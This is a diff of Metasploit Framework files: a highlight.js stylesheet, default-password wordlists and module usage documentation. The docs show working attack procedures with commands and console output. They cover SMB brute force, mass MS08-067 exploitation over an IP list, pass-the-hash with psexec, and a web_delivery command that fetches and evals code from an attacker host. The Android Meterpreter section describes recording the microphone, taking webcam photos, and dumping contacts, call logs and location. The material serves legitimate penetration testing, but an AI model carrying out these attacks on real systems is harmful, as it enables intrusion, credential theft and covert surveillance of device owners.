border-style: solid;
border-width: 1px;
border-color: #ccc;
padding: 5px;
}
/*
Description: Foundation 4 docs style for highlight.js
Author: Dan Allen <dan.j.allen@gmail.com>
Website: http://foundation.zurb.com/docs/
Version: 1.0
Date: 2013-04-02
*/
pre code {
display: block; padding: 0.5em;
background: #eee;
}
pre .decorator,
pre .annotation {
color: #000077;
}
pre .attribute {
color: #070;
}
pre .value,
pre .string,
pre .scss .value .string {
color: #d14;
}
pre .comment {
color: #998;
font-style: italic;
}
pre .function .title {
color: #900;
}
pre .class {
color: #458;
}
pre .id,
pre .pseudo,
pre .constant,
pre .hexcolor {
color: teal;
}
pre .variable {
color: #336699;
}
pre .javadoc {
color: #997700;
}
pre .pi,
pre .doctype {
color: #3344bb;
}
pre .number {
color: #099;
}
pre .important {
color: #f00;
}
pre .label {
color: #970;
}
pre .preprocessor {
color: #579;
}
pre .reserved,
pre .keyword,
pre .scss .value {
color: #000;
}
pre .regexp {
background-color: #fff0ff;
color: #880088;
}
pre .symbol {
color: #990073;
}
pre .symbol .string {
color: #a60;
}
pre .tag {
color: #007700;
}
pre .at_rule,
pre .at_rule .keyword {
color: #088;
}
pre .at_rule .preprocessor {
color: #808;
}
pre .scss .tag,
pre .scss .attribute {
color: #339;
}

View File

@ -0,0 +1,8 @@
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > show options
... show and set options ...
msf <%= mod.type %>(<%= mod.shortname %>) > generate
```
To learn how to generate <%= mod.fullname %> with msfvenom, please [read this](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom).

View File

@ -0,0 +1,44 @@
There are two ways to execute this post module.
**From the Meterpreter prompt**
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post
module against that specific session:
```
meterpreter > run <%= mod.fullname %>
```
**From the msf prompt**
The second is by using the "use" command at the msf prompt. You will have to figure out which
session ID to set manually. To list all session IDs, you can use the "sessions" command.
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > show options
... show and set options ...
msf <%= mod.type %>(<%= mod.shortname %>) > set SESSION session-id
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
```
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
```
<ruby>
framework.sessions.each_pair do |sid, session|
run_single("use <%= mod.fullname %>")
run_single("set SESSION #{sid}")
run_single("run")
end
</ruby>
```
2 - At the msf prompt, execute the above resource script:
```
msf > resource path-to-resource-script
```

View File

@ -0,0 +1,99 @@
**Using <%= mod.shortname %> against a single host**
Normally, you can use <%= mod.fullname %> this way:
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > show targets
... a list of targets ...
msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id
msf <%= mod.type %>(<%= mod.shortname %>) > show options
... show and set options ...
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
```
**Using <%= mod.shortname %> against multiple hosts**
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your
<%= mod.shortname %> will be using:
1. Do: ```use exploit/multi/handler```
2. Do: ```set PAYLOAD [payload]```
3. Set other options required by the payload
4. Do: ```set EXITONSESSION false```
5. Do: ```run -j```
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and
payload options accordingly:
```
&#x3c;ruby&#x3e;
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use <%= mod.fullname %>")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
&#x3c;/ruby&#x3e;
```
Next, run the resource script in the console:
```
msf > resource [path-to-resource-script]
```
And finally, you should see that the exploit is trying against those hosts similar to the following
MS08-067 example:
```
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
```

View File

@ -0,0 +1,100 @@
123456
123456789
password
adobe123
12345678
qwerty
1234567
111111
photoshop
123123
1234567890
000000
abc123
1234
adobe1
macromedia
azerty
iloveyou
aaaaaa
654321
12345
666666
sunshine
123321
letmein
monkey
asdfgh
password1
shadow
princess
dragon
adobeadobe
daniel
computer
michael
121212
charlie
master
superman
qwertyuiop
112233
asdfasdf
jessica
1q2w3e4r
welcome
1qaz2wsx
987654321
fdsa
753951
chocolate
fuckyou
soccer
tigger
asdasd
thomas
asdfghjkl
internet
michelle
football
123qwe
zxcvbnm
dreamweaver
7777777
maggie
qazwsx
baseball
jennifer
jordan
abcd1234
trustno1
buster
555555
liverpool
abc
whatever
11111111
102030
123123123
andrea
pepper
nicole
killer
abcdef
hannah
test
alexander
andrew
222222
joshua
freedom
samsung
asdfghj
purple
ginger
123654
matrix
secret
summer
1q2w3e
snoopy1

View File

@ -16,4 +16,12 @@ SAPJSF ch4ngeme
SAPR3 SAP
CTB_ADMIN sap123
XMI_DEMO sap123
IDEADM admin
SMD_ADMIN init1234
SMD_BI_RFC init1234
SMD_RFC init1234
SOLMAN_ADMIN init1234
SOLMAN_BTC init1234
SAPSUPPORT init1234
CONTENTSERV init1234
SMD_AGT init1234

View File

@ -0,0 +1,41 @@
The auxiliary/scanner/http/tomcat_mgr_login works for Tomcat versions that uses HTTP
authentication.
Please note that for Tomcat 7 or newer, the roles required to use the manager application were
changed from the single manager role to the following four roles:
* manager-gui - Allows access to the HTML GUI and the status pages.
* manager-script - Allows access to the text interface and the status pages.
* manager-jmx - Allows access to the JMX and the status pages.
* manager-status - allows access to the status pages only.
Older versions of Tomcat came with default passwords enabled by default. For example:
**Tomcat 4**
| Username | Password | Role |
| -------- | -------- | ------------- |
| tomcat | tomcat | tomcat |
| role1 | tomcat | role1 |
| both | tomcat | tomcat, role1 |
**Tomcat 5**
Same as Tomcat 4
Newer Tomcat versions have these passwords commented out.
If you are using the default Metasploit credential lists, these usernames and passwords are already
loaded.
## Vulnerable Application
To download the vulnerable application, you can find it here: https://tomcat.apache.org/whichversion.html.
## Verification Steps
1. Do: ```auxiliary/scanner/http/tomcat_mgr_login```
2. Do: ```set RHOSTS [IP]```
3. Set TARGETURI if necessary.
4. Do: ```run```

View File

@ -0,0 +1,117 @@
The smb_login module is used to bruteforce SMB remotely. SMB credentials are extra valuable because they are system credentials, and you can probably reuse some of them to log in to more machines.
## Vulnerable Application
To use smb_login, make sure you are able to connect to a SMB service that supports SMBv1.
## Verification Steps
The following demonstrates a basic scenario of using the [built-in wordlists](https://github.com/rapid7/metasploit-framework/tree/master/data/wordlists) to brute-force SMB:
```
msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > set RHOSTS 192.168.1.80
RHOSTS => 192.168.1.80
msf auxiliary(smb_login) > set USER_FILE /Users/wchen/rapid7/msf/data/wordlists/unix_users.txt
USER_FILE => /Users/wchen/rapid7/msf/data/wordlists/unix_users.txt
msf auxiliary(smb_login) > set PASS_FILE /Users/wchen/rapid7/msf/data/wordlists/unix_passwords.txt
PASS_FILE => /Users/wchen/rapid7/msf/data/wordlists/unix_passwords.txt
msf auxiliary(smb_login) > run
[+] 192.168.1.80:445 - 192.168.1.80:445 SMB - Success: '.\root:monkey' Administrator
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_login) >
```
If you have a database connected, you should also see this credential logged:
```
msf auxiliary(smb_login) > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
192.168.1.80 192.168.1.80 445/tcp (smb) root monkey Password
msf auxiliary(smb_login)
```
## Options
By default, the smb_login module only requires the RHOSTS option to run. But in reality, you will
also need to supply user names and passwords. The following options are available to support
different credential formats:
**The USER_FILE option**
If you happen to manage all the found user names in a separate file, then this option would be
suitable for that. One per line.
An example of setting USER_FILE:
```
set USER_FILE [path to file]
```
**The PASS_FILE option**
If you happen to manage all the found passwords in a separate file, then this option would be
suitable for that. One per line.
```
set PASS_FILE [path to file]
```
**The USERPASS_FILE option**
If each user should be using a specific password in your file, then you can use this option. One
username/password per line:
```
set USERPASS_FILE [path to file]
```
**The DB_ALL_CREDS option**
This option allows you to reuse all the user names and passwords collected by the database:
```
set DB_ALL_CREDS true
```
**The DB_ALL_PASS option**
This option allows you to reuse all the passwords collected by the database.
```
set DB_ALL_PASS true
```
**The DB_ALL_USERS option**
This option allows you to reuse all the user names collected by the database.
```
set DB_ALL_USERS true
```
**The SMBUser option**
If you are testing a specific user, use this option.
```
set SMBUser [user name]
```
**The SMBPass option**
If you are testing a specific password, use this option.
```
set SMBPass [password]
```
Note: If an account has been successfully brute-forced, that account will not be tried again.

View File

@ -0,0 +1,176 @@
Browser Autopwn 2 is a complete redesign from the first one, so quite a few things will look and
feel different for you. Here are the features you should know about before using.
## Vulnerable Applications
Browser Autopwn 2 is capable of targeting popular browsers and 3rd party plugins, such as:
* Internet Explorer
* Mozilla Firefox
* Adobe Flash
* Java
* ActiveX
* Silverlight
## Exploit URLs
Normally, the only URL you need to care about is the **BrowserAutoPwn URL**. This is the URL
you should send to the targets you wish to attack.
For debugging purposes, you can also see each browser exploit's specific URL path. You can do so
by setting the VERBOSE option to true in msfconsole, like this:
```
set VERBOSE true
```
And then when you run the module, there will be a list showing all the exploits that might be
used, including the URLs.
## Browser Autopwn 2 Options
**The HTMLContent Option**
The HTMLContent option allows you to serve a basic HTML web page to the browser instead of having a
blank one. It supports two syntaxes.
This example will basically print "Hello world!" on the browser while exploits are tested against
it.
```
set HTMLContent Hello world!
```
This example will load file /tmp/hello_world.html and that's what the browser will see. Most likely
the second syntax is how you'd want to use the Content option.
Keep in mind that you should probably try to keep HTMLContent as simple as possible, otherwise
there is a possibility that it might actually influence the reliability of the exploits, especially
the ones that do memory corruption.
**The EXCLUDE_PATTERN option**
The EXCLUDE_PATTERN option is used for excluding exploit file names you don't want Browser
Autopwn 2 to use. This is a regex type option, you can be creative about this.
For example, Adobe Flash exploits in Metasploit tend to have the same file name that begins with:
"adobe_flash_", so to exclude those, you can do:
```
set EXCLUDE_PATTERN adobe_flash
```
**The INCLUDE_PATTERN option**
The INCLUDE_PATTERN option is for loading specific exploits that you want Browser Autopwn 2 to use.
Let's reuse the Adobe Flash file name example, if you only want Flash exploits, you can do:
```
set INCLUDE_PATTERN adobe_flash
```
If you set both INCLUDE_PATTERN and EXCLUDE_PATTERN, the evaluation for INCLUDE_PATTERN will kick
in first, followed by EXCLUDE_PATTERN.
**The MaxExploitCount option**
The MaxExploitCount option is for specifying how many exploits you want Browser Autopwn 2 to load.
By default, it's 21. But you can try to bump it up a little bit if you wish to try more exploits.
Note that by doing so you are also allowing more lower ranking modules to kick in, you will have
to figure out the sweet spot for it. An example of setting it:
```
set MaxExploitCount 30
```
**The MaxSessionCount option**
The MaxSessionCount option is for limiting how many sessions to get. It may sound a little odd at
first because why would you want to do that, right? Well, a use case for this is when you don't
actually want to pop shells, instead you just want to know what exploits could be used, this is
something you can try. You can also use this if you don't want your attack to stay open the whole
time:
```
set MaxSessionCount 10
```
**The ShowExploitList option**
The ShowExploitList option means displaying a list of exploits specific to each browser/client.
As we've explained before, when BAP2 loads 21 exploits, probably not all 21 will be served to
the browser, only some of them. In order to see those ones, you need to set this option:
```
set ShowExploitList true
```
**The AllowedAddresses option**
The AllowedAddresses option is for attacking a specific range of IPs as a way to avoid penetration
testing accidents. For example, when you send a malicious link to a specific person, that person
may actually share it with his friends, family or other people, and those people aren't your
targets so you shouldn't hit them. Well, Browser Autopwn doesn't know that, so one of the ways to
avoid that is to create a whitelist.
The option also supports two syntaxes. This is most likely how you will set it:
```
set AllowedAddresses file:///tmp/ip_list.txt
```
The above will load file ip_list.txt. In that file, one IP per line.
**The ExploitReloadTimeout option**
The ExploitReloadTimeout is for setting how long BAP2 should wait before loading the next exploit.
By default, it's 3 seconds, but in case some exploits need more time (for example, longer time to
groom the heap, load other things, or it's doing a sleep somewhere), you will need to set this.
In most cases, you shouldn't have to.
Here's an example of setting it to 5 seconds:
```
set ExploitReloadTimeout 5000
```
## Scenarios
By default, Browser Autopwn 2 goes through the entire exploit module tree, and will try to use
different types of exploits - Firefox, Internet Explorer, Adobe Flash, Android, etc. If you want to
test a specific application, basically all you need to do is setting the
INCLUDE_PATTERN option (or maybe EXCLUDE_PATTERN).
However, there is another trick to make this task even easier. BAP2 also comes with the following
resource scripts that can automatically do this:
* bap_firefox_only.rc - For testing Firefox
* bap_flash_only.rc - Fore testing Adobe Flash
* bap_ie_only.rc - For testing Internet Explorer
* bap_dryrun_only.rc - Rickrolls the target, and shows you all the suitable exploits against that target. No exploits will actually be fired.
Here's an example of using bap_flash_only.rc to test Adobe Flash vulnerabilities:
```
$ ./msfconsole -q -r scripts/resource/bap_flash_only.rc
```
## Logging
In addition, when a browser connects to BAP, this link-clicking event is also logged to the
database as a "bap.clicks" note type. If the ShowExploitList option is set to true, that will also
save the exploit list information so that after testing you can go back to the database and see
which users are vulnerable to what exploits.
Even if you don't set the ShowExploitList option, the logged link-clicking event data is more than
enough to prove that the user was social-engineered, which is still a security risk.
To see all the bap.clicks events, in msfconsole do:
```
notes -t bap.clicks
```
From there, you can do additional analysis of these notes, put it on your report, and hopefully
do something about it.

View File

@ -0,0 +1,76 @@
As a web server, the web_delivery module provides a stealthy way to deliver a payload during post exploitation because the payload does not touch the disk.
Currently, web_delivery supports three different languages for delivery: Python, PHP, and
Powershell. You should be able to tell which one you can use based on the target environment
you are in.
For example, if you gained access through a PHP application, it's safe to assume you can use PHP. If you're in a Windows server, such as Windows Server 2008, then it's probably safe to say the target supports Powershell.
## Verification Steps
To be able to use the web_delivery module, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter.
At that point, you would use the web_delivery module like in the following example:
1. Start msfconsole
2. Run: ```use exploit/multi/script/web_delivery```
3. Run: ```set target 1``` (1 is PHP. You can use ```show targets``` to see other options)
4. Run: ```set PAYLOAD php/meterpreter/reverse_tcp``` (You can do ```show payloads``` to see what options are suitable for the target)
5. Run: ```set LHOST IP``` (The IP the payload should connect back to)
6. Do: ```run```
7. At this point, a handler is up for that payload, and the module should instruct you to execute a command.
8. Copy the command. Depending on your pentesting scenario, you can either inject the
command and get code execution, or run it from the target's shell and get a session:
```
msf exploit(web_delivery) > run
[*] Exploit running as background job.
[*] Started reverse TCP handler on 172.16.23.1:4444
msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9
[*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/z5inGkwCCQiz9'));"
[*] Delivering Payload
[*] Sending stage (33684 bytes) to 172.16.23.134
[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.134:41684) at 2016-03-02 11:41:34 -0600
```
## Targets
**Python**
Python is a fairly popular language, especially on Unix-based systems. By default, it has come with Ubuntu Linux since 8.04, as well as Debian, and Mac OS X since 10.3.
**PHP**
PHP is a fairly popular language for web servers, especially Apache.
**Powershell/Windows**
Powershell is a popular language for newer Windows systems. Windows 7 and Windows Server 2008 R2
are the first Windows versions to come with Powershell by default. Older Windows systems such as XP
don't come with it by default, but it is still possible to see it installed on a corporate network.
## Scenarios
**Against a compromised web application**
web_delivery would work nicely for a web application with a command execution vulnerability.
One way to approach this would be:
1. Start exploit/multi/script/web_delivery
2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution.
3. Hopefully the modified HTTP/HTTPS request is successful, and you should get a session.
**Shell upgrade**
web_delivery is also useful to upgrade a shell type payload to a Meterpreter one.
Here's how that can be done:
1. Start exploit/multi/script/web_delivery that generates/
2. In msfconsole, interact with the shell, and copy/paste the command.
3. You should get a Meterpreter session.

View File

@ -0,0 +1,59 @@
ms08_067_netapi is one of the most popular remote exploits against Microsoft Windows. It is
considered a reliable exploit, and allows you to gain access as SYSTEM - the highest Windows
privilege. In modern day penetration test, this exploit would most likely be used in an internal
environment, and not so much from external due to the likelihood of a firewall.
The check command of ms08_067_netapi is also highly accurate, because it is actually testing the
vulnerable code path, not just passively.
## Vulnerable Application
This exploit works against a vulnerable SMB service from one of these Windows systems:
* Windows 2000
* Windows XP
* Windows 2003
To reliability determine whether the machine is vulnerable, you will have to either examine
the system's patch level, or use a vulnerability check.
## Verification Steps
Please see Basic Usage under Overview.
## Options
Please see Required Options under Overview.
## Scenarios
**Failure to detect the language pack**
On some Windows systems, ms08_067_netapi (as well as other SMB modules) might show you this
message:
> Windows 2003 R2 Service Pack 2 - lang:Unknown
This is because the targeted system does not allow itself to be enumerated without authentication.
In this case, either you can set the username and password to be able to use automatic detection,
like this:
```
set SMBUSER [username]
set SMBPASS [password]
```
Or you must manually set the target with the correct language, for example:
```
set target [target ID]
```
**Unsafe configuration of LHOST**
Although ms08_067_netapi is reliable enough for a memory corruption exploit, it has its own
denial-of-service moments. One scenario is when the LHOST option is incorrectly configured,
which could result the SMB to crash.

View File

@ -0,0 +1,120 @@
psexec is one of the most popular exploits against Microsoft Windows. It is a great way to test password security and demonstrate how a stolen password could lead to a complete compromise of an entire corporate network.
The Metasploit Framework actually includes different module types of psexec for different scenarios. exploit/windows/smb/psexec is the father of them all and is used the same way
you normally would with any Metasploit exploits.
## Vulnerable Application
To be able to use exploit/windows/smb/psexec:
1. You must have a valid username/password.
2. The firewall must allow SMB traffic.
3. The target must use SMBv1.
4. The remote Windows machine's network security policy must allow it. If you see [one of these errors](https://github.com/rapid7/metasploit-framework/wiki/What-does-my-Rex%3A%3AProto%3A%3ASMB-Error-mean%3F), then the Windows machine does not allow it.
## Verification Steps
At the minimum, you should be able use psexec to get a session with a valid credential using the following:
```
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.1.80
RHOST => 192.168.1.80
msf exploit(psexec) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(psexec) > set SMBPass goodpass
SMBPass => goodpass
msf exploit(psexec) > exploit
[*] Started reverse TCP handler on 192.168.1.199:4444
[*] 192.168.1.80:445 - Connecting to the server...
[*] 192.168.1.80:445 - Authenticating to 192.168.1.80:445 as user 'Administrator'...
[*] 192.168.1.80:445 - Selecting native target
[*] 192.168.1.80:445 - Uploading payload...
[*] 192.168.1.80:445 - Created \PTIhqIrQ.exe...
[+] 192.168.1.80:445 - Service started successfully...
[*] 192.168.1.80:445 - Deleting \PTIhqIrQ.exe...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1042) at 2016-03-01 16:51:56 -0600
meterpreter >
```
## Options
By default, using exploit/windows/smb/psexec can be as simple as setting the RHOST option, and you're ready to go. But in reality, you will probably need to at least configure:
**The SMBUser Option**
This is a valid Windows username.
**The SMBPass option**
This can be either the plain text version or the Windows hash.
## Scenarios
**Pass the Hash**
One common penetration testing scenario using psexec is that attackers usually begin by breaking into a box, dumping the hashes, and using some of those hashes to log into other boxes on the network using psexec. So in that scenario, with the following stolen hash:
```
meterpreter > hashdump
Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f:::
```
You can simply copy and paste it to the SMBPass option in psexec and get a session without needing to crack the hash:
```
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(psexec) > set SMBPass e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f
SMBPass => e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f
msf exploit(psexec) > set RHOST 192.168.1.80
RHOST => 192.168.1.80
msf exploit(psexec) > exploit
[*] Started reverse TCP handler on 192.168.1.199:4444
[*] 192.168.1.80:445 - Connecting to the server...
[*] 192.168.1.80:445 - Authenticating to 192.168.1.80:445 as user 'Administrator'...
[*] 192.168.1.80:445 - Selecting native target
[*] 192.168.1.80:445 - Uploading payload...
[*] 192.168.1.80:445 - Created \QpxKDHyG.exe...
[+] 192.168.1.80:445 - Service started successfully...
[*] 192.168.1.80:445 - Deleting \QpxKDHyG.exe...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1043) at 2016-03-01 17:02:46 -0600
meterpreter >
```
**Automatic Target**
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below.
**Powershell Target**
The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default.
Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that.
**Native Upload Target**
The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
SHARE datastore option), and then execute it with psexec.
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option.
**MOF Upload Target**
The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object
format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session.
Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting
caught by antivirus on the target.
The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option.

View File

@ -0,0 +1,41 @@
The following is the recommended format for module documentation.
But feel free to add more content/sections to this.
## Vulnerable Application
Instructions to get the vulnerable application.
## Verification Steps
Example steps in this format:
1. Install the application
2. Start msfconsole
3. Do: ```use [module path]```
4. Do: ```run```
5. You should get a shell.
## Options
**Option name**
Talk about what it does, and how to use it appropriately.
## Scenarios
Specific demo of using the module that might be useful in a real world scenario.
```
code or console output
```
For example:
To do this specific thing, here's how you do it:
```
msf > use module_name
msf auxiliary(module_name) > set POWERLEVEL >9000
msf auxiliary(module_name) > exploit
```

View File

@ -0,0 +1,457 @@
The android/meterpreter/reverse_tcp payload is a Java-based Meterpreter that can be used on an
Android device. It is still at an early stage of development, but there are so many things you can
do with it already.
The Android Meterpreter allows you to do things like take remote control the file system, listen to phone calls, retrieve or send SMS messages, geo-locate the user, run post-exploitation modules, etc.
## Vulnerable Application
You can test android/meterpreter/reverse_tcp on these devices:
**Android Emulator**
An emulator is the most convenient way to test Android Meterpreter. You can try:
* [Android SDK](http://developer.android.com/sdk/index.html#Other) - Creates and manages your emulators from a command prompt or terminal.
* [Android Studio](http://developer.android.com/sdk/installing/index.html?pkg=studio) - Allows you to manage emulators more easily than the SDK.
* [GenyMotion](https://www.genymotion.com/download/) - Requires an account.
* [AndroidAVDRepo](https://github.com/dral3x/AndroidAVDRepo) - Contains a collection of pre-configured emulators.
**A real Android device**
Having a real Android device allows you to test features or vulnerabilities you don't necessarily
have from an emulator, which might be specific to a manufacturer, carrier, or hardware. You also
get to test it over a real network.
## Verification Steps
Currently, the most common way to use Android Meterpreter is to create it as an APK, and then
execute it.
To create the APK with msfconsole:
```
msf > use payload/android/meterpreter/reverse_tcp
msf payload(reverse_tcp) > set LHOST 192.168.1.199
LHOST => 192.168.1.199
msf payload(reverse_tcp) > generate -t raw -f /tmp/android.apk
[*] Writing 8992 bytes to /tmp/android.apk...
msf payload(reverse_tcp) >
```
To create the APK with msfvenom:
```
./msfvenom -p android/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk
```
Next, start an Android device. Upload the APK, and execute it. There are different ways to do this,
so please refer to the Scenarios section for more information.
## Important Basic Commands
**pwd**
The ```pwd``` command allows you to see the current directory you're in.
```
meterpreter > pwd
/data/data/com.metasploit.stage
```
**cd**
The ```cd``` command allows you to change directory. For example:
```
meterpreter > cd cache
meterpreter > ls
```
**cat**
The ```cat``` command allows you to see the contents of a file.
**ls**
The ```ls``` command displays items in a directory. For example:
```
meterpreter > ls
Listing: /data/data/com.metasploit.stage/files
==============================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100444/r--r--r-- 0 fil 2016-03-08 14:56:08 -0600 rList-com.metasploit.stage.MainActivity
```
**upload**
The ```upload``` command allows you to upload a file to the remote target. The ```-r``` option
allows you to do so recursively.
**download**
The ```download``` command allows you to download a file from the remote target. The ```-r```
option allows you to do so recursively.
**search**
The ```search``` command allows you to find files on the remote target. For example:
```
meterpreter > search -d . -f *.txt
```
**ifconfig**
The ```ifconfig``` command displays the network interfaces on the remote machine.
```
meterpreter > ifconfig
...
Interface 10
============
Name : wlan0 - wlan0
Hardware MAC : 60:f1:89:07:c2:7e
IPv4 Address : 192.168.1.207
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2602:30a:2c51:e660:62f1:89ff:fe07:c27e
IPv6 Netmask : ::
IPv6 Address : fe80::62f1:89ff:fe07:c27e
IPv6 Netmask : ::
IPv6 Address : 2602:30a:2c51:e660:81ae:6bbd:e0e1:5954
IPv6 Netmask : ::
...
```
**getuid**
The ```getuid``` command shows the current user that the payload is running as:
```
meterpreter > getuid
Server username: u0_a231
```
**ps**
The ```ps``` command shows a list of processes the Android device is running. For example:
```
meterpreter > ps
Process List
============
PID Name Arch User
--- ---- ---- ----
1 /init root
2 kthreadd root
3 ksoftirqd/0 root
7 migration/0 root
8 rcu_preempt root
9 rcu_bh root
10 rcu_sched root
11 watchdog/0 root
12 watchdog/1 root
13 migration/1 root
14 ksoftirqd/1 root
17 watchdog/2 root
18 migration/2 root
19 ksoftirqd/2 root
22 watchdog/3 root
23 migration/3 root
...
```
**shell**
The ```shell``` command allows you to interact with a shell:
```
meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=10231(u0_a231) gid=10231(u0_a231) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),9997(everybody),50231(all_a231) context=u:r:untrusted_app:s0
```
To get back to the Meterpreter prompt, you can do: [CTRL]+[Z]
**sysinfo**
The ```sysinfo``` command shows you basic information about the Android device.
```
meterpreter > sysinfo
Computer : localhost
OS : Android 5.1.1 - Linux 3.10.61-6309174 (aarch64)
Meterpreter : java/android
```
**webcam_list**
The ```webcam_list``` command shows a list of webcams you could use for the ```webcam_snap```
command. Example:
```
meterpreter > webcam_list
1: Back Camera
2: Front Camera
```
**webcam_snap**
The ```webcam_snap``` command takes a picture from the device. You will have to use the
```webcam_list``` command to figure out which camera to use. Example:
```
meterpreter > webcam_snap -i 2
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /Users/user/rapid7/msf/uFWJXeQt.jpeg
```
**record_mic**
The ```record_mic``` command records audio. Good for listening to a phone conversation, as well as
other uses. Example:
```
meterpreter > record_mic -d 20
[*] Starting...
[*] Stopped
Audio saved to: /Users/user/rapid7/msf/YAUtubCR.wav
```
**activity_start**
The ```activity_start``` command is an execute command by starting an Android activity from a URI
string.
**check_root**
The ```check_root``` command detects whether your payload is running as root or not. Example:
```
meterpreter > check_root
[*] Device is not rooted
```
**dump_calllog**
The ```dump_calllog``` command retrieves the call log from the Android device.
**dump_contacts**
```
meterpreter > dump_contacts
[*] Fetching 5 contacts into list
[*] Contacts list saved to: contacts_dump_20160308155744.txt
```
**geolocate**
The ```geolocate``` commands allows you to locate the phone by retrieving the current lat-long
using geolocation.
**wlan_geolocate**
The ```wlan_geolocation``` command allows you to locate the phone by retrieving the current
lat-long using WLAN information. Example:
```
meterpreter > wlan_geolocate
[*] Google indicates the device is within 150 meters of 30.*******,-97.*******.
[*] Google Maps URL: https://maps.google.com/?q=30.*******,-97.*******
```
**send_sms**
The ```send_sms``` command allows you to send an SMS message. Keep in mind the phone will keep a
copy of it, too.
```
meterpreter > send_sms -d "2674554859" -t "hello"
